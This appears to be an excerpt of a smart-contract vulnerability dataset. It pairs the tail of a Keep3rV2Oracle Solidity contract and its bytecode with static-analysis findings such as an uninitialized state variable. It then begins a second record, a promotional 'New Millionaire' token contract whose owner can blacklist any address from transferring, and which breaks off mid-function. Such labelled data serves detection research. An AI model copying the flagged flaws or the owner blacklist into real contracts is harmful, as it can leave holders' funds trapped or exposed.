amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint timestamp) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
timestamp = nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint timestamp) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
timestamp = nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
timestamp = nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint timestamp) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint timestamp) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint timestamp) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint timestamp) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint timestamp) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint timestamp) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c8063983586d911610076578063a75d39c21161005b578063a75d39c21461016d578063a8aa1b3114610195578063ae6ec9b7146101e1576100a3565b8063983586d91461014d578063a2e6204514610165576100a3565b80630a793398146100a857806317bf72c6146100d25780631f7b6d32146100e7578063252c09d714610107575b600080fd5b6100bb6100b63660046117c0565b6101f4565b6040516100c992919061188b565b60405180910390f35b6100e56100e036600461185b565b61074b565b005b61ffff80546100f4911681565b60405161ffff90911681526020016100c9565b61011a61011536600461185b565b6107f9565b6040805163ffffffff90941684526dffffffffffffffffffffffffffff92831660208501529116908201526060016100c9565b610155610849565b60405190151581526020016100c9565b6101556109d9565b61018061017b366004611742565b610a8b565b604080519283526020830191909152016100c9565b6101bc7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de881565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100c9565b6101806101ef36600461177d565b610e75565b60606000808573ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1610610233578588610236565b87865b5090508467ffffffffffffffff811115610279577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156102a2578160200160208202803683370190505b5092508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105175761ffff80546000916102ee9160019116611961565b61ffff16905060006103008688611924565b61030a9083611984565b60408051606081018252600080825260208201819052918101829052919250905b838310156105055760408051606081018252600080825260208201819052918101829052908461ffff8110610389577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152905060006103e98a866118d3565b61ffff8110610421577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff64010000000083048116602080870182905272010000000000000000000000000000000000009094048216948601949094529185015185519496506104a194921692916104959161199b565b63ffffffff168f611248565b8884815181106104da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101526104f08360016118d3565b92506104fe905088846118d3565b925061032b565b5163ffffffff16945061074092505050565b61ffff805460009161052c9160019116611961565b61ffff169050600061053e8688611924565b6105489083611984565b60408051606081018252600080825260208201819052918101829052919250905b838310156107335760408051606081018252600080825260208201819052918101829052908461ffff81106105c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152905060006106278a866118d3565b61ffff811061065f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff640100000000830481166020860152720100000000000000000000000000000000000090920482168484018190529285015185519496506106cf94921692916104959161199b565b888481518110610708577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602090810291909101015261071e8360016118d3565b925061072c905088846118d3565b9250610569565b5163ffffffff1694505050505b509550959350505050565b61ffff805460009161075f918491166118d3565b61ffff8054919250165b818110156107f457600160008261ffff81106107ae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff92909216919091179055806107ec816119da565b915050610769565b505050565b60008161ffff811061080a57600080fd5b015463ffffffff811691506dffffffffffffffffffffffffffff6401000000008204811691720100000000000000000000000000000000000090041683565b61ffff8054600091829182916108629160019116611961565b61ffff1661ffff811061089e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104168282015280517f0902f1ac000000000000000000000000000000000000000000000000000000008152905191935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692630902f1ac926004818101939291829003018186803b15801561097857600080fd5b505afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b0919061180d565b845163ffffffff9182169450600093506109cc92501683611984565b6107081093505050505b90565b60003373ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000004e0202df8f4c55fa75d52981dfe0e65767b70c6a1614610a7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f2146000000000000000000000000000000000000000000000000000000000000604482015260640160405180910390fd5b610a86611283565b905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1610610aca578386610acd565b85845b5061ffff80549192506000918291610ae89160019116611961565b61ffff1661ffff8110610b24577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602080860191909152720100000000000000000000000000000000000090920416838301526201000054620100015483517f5909c0d500000000000000000000000000000000000000000000000000000000815293519495506000949193909273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692635909c0d5926004818101939291829003018186803b158015610c0f57600080fd5b505afa158015610c23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c479190611873565b610c519190611924565b610c5b91906118eb565b90506000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610ccf57600080fd5b505afa158015610ce3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d079190611873565b610d119190611924565b610d1b91906118eb565b90507f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610d8357600080fd5b505afa158015610d97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbb919061180d565b855163ffffffff918216985060009350610dd792501687611984565b90508015610de55780610de8565b60015b90508973ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e4557610e3e84602001516dffffffffffffffffffffffffffff1684838c611248565b9650610e68565b610e6584604001516dffffffffffffffffffffffffffff1683838c611248565b96505b5050505050935093915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1610610eb4578487610eb7565b86855b5061ffff80549192506000918291610ed29160019116611961565b61ffff1690506000610ee48783611984565b604080516060808201835260008083526020808401829052838501829052845192830185528183528201819052928101839052929350919073ffffffffffffffffffffffffffffffffffffffff878116908e1614156110b4575b848410156110af57610f518460016118d3565b905060008461ffff8110610f8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152925060008161ffff811061101d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff640100000000830481166020808701829052720100000000000000000000000000000000000090940482169486019490945291870151875194965061109194921692916104959161199b565b61109b90876118d3565b9550836110a7816119da565b945050610f3e565b611221565b84841015611221576110c78460016118d3565b905060008461ffff8110611104577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152925060008161ffff8110611193577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff6401000000008304811660208601527201000000000000000000000000000000000000909204821684840181905292870151875194965061120394921692916104959161199b565b61120d90876118d3565b955083611219816119da565b9450506110b4565b61122b8a876118eb565b9151919d63ffffffff9092169c50909a5050505050505050505050565b6000826201000154868661125c9190611984565b6112669085611924565b61127091906118eb565b61127a91906118eb565b95945050505050565b61ffff80546000918291829161129c9160019116611961565b61ffff1661ffff81106112d8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104168282015280517f0902f1ac000000000000000000000000000000000000000000000000000000008152905191935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692630902f1ac926004818101939291829003018186803b1580156113b257600080fd5b505afa1580156113c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ea919061180d565b8451909350600092506113fe91508361199b565b90506107088163ffffffff1611156116f1576000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561148257600080fd5b505afa158015611496573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ba9190611873565b6114c49190611924565b6114ce91906118eb565b90506000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561154257600080fd5b505afa158015611556573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157a9190611873565b6115849190611924565b61158e91906118eb565b6040805160608101825263ffffffff871681526dffffffffffffffffffffffffffff808616602083015283169181019190915261ffff8054929350909160009190811690826115dc836119b8565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff8110611632577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b82519101805460208401516040909401517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000090911663ffffffff909316929092177fffffffffffffffffffffffffffff0000000000000000000000000000ffffffff166401000000006dffffffffffffffffffffffffffff948516021771ffffffffffffffffffffffffffffffffffff167201000000000000000000000000000000000000939092169290920217905550600194506109d69350505050565b6000935050505090565b803573ffffffffffffffffffffffffffffffffffffffff8116811461171f57600080fd5b919050565b80516dffffffffffffffffffffffffffff8116811461171f57600080fd5b600080600060608486031215611756578283fd5b61175f846116fb565b925060208401359150611774604085016116fb565b90509250925092565b60008060008060808587031215611792578081fd5b61179b856116fb565b9350602085013592506117b0604086016116fb565b9396929550929360600135925050565b600080600080600060a086880312156117d7578081fd5b6117e0866116fb565b9450602086013593506117f5604087016116fb565b94979396509394606081013594506080013592915050565b600080600060608486031215611821578283fd5b61182a84611724565b925061183860208501611724565b9150604084015163ffffffff81168114611850578182fd5b809150509250925092565b60006020828403121561186c578081fd5b5035919050565b600060208284031215611884578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b828110156118c4578151845292840192908401906001016118a8565b50505092019290925292915050565b600082198211156118e6576118e6611a13565b500190565b60008261191f577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561195c5761195c611a13565b500290565b600061ffff8381169083168181101561197c5761197c611a13565b039392505050565b60008282101561199657611996611a13565b500390565b600063ffffffff8381169083168181101561197c5761197c611a13565b600061ffff808316818114156119d0576119d0611a13565b6001019392505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a0c57611a0c611a13565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea264697066735822122029d84bb255b6c15c12f1a6b512bc226f580160b8fb7303fcb0b9f705f4d18bdc64736f6c63430008020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,920 |
0xc1aa0df6420cb6b31bf4111cb143ee8165e50426
|
/*
💰 $NM 🚨 New Millionaire 💎
🖥 WEBSITE: newmillionaire.io/
🐦 twitter.com/Newmilltoken
💬 TG: https://t.me/NewMillionaireETH
📊 DEXTOOLS: https://www.dextools.io/app/uniswap/pair-explorer/0xc1aa0df6420cb6b31bf4111cb143ee8165e50426
--Giveaway to New Millionaires!----
*****2% max wallet limit*****
♾ 500b supply, 50% burned.
♾ Holder Rewards System of tokens Initially burnt
♾ 100% of liquidity will be locked minutes after launch
♾ 2.5% Market Funds
♾ 0.5% charity
♾ 2.5% buyback/burn
♾ 0.5% dev/team
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NewMillionaire is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "New Millionaire";
string private constant _symbol = 'NM️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
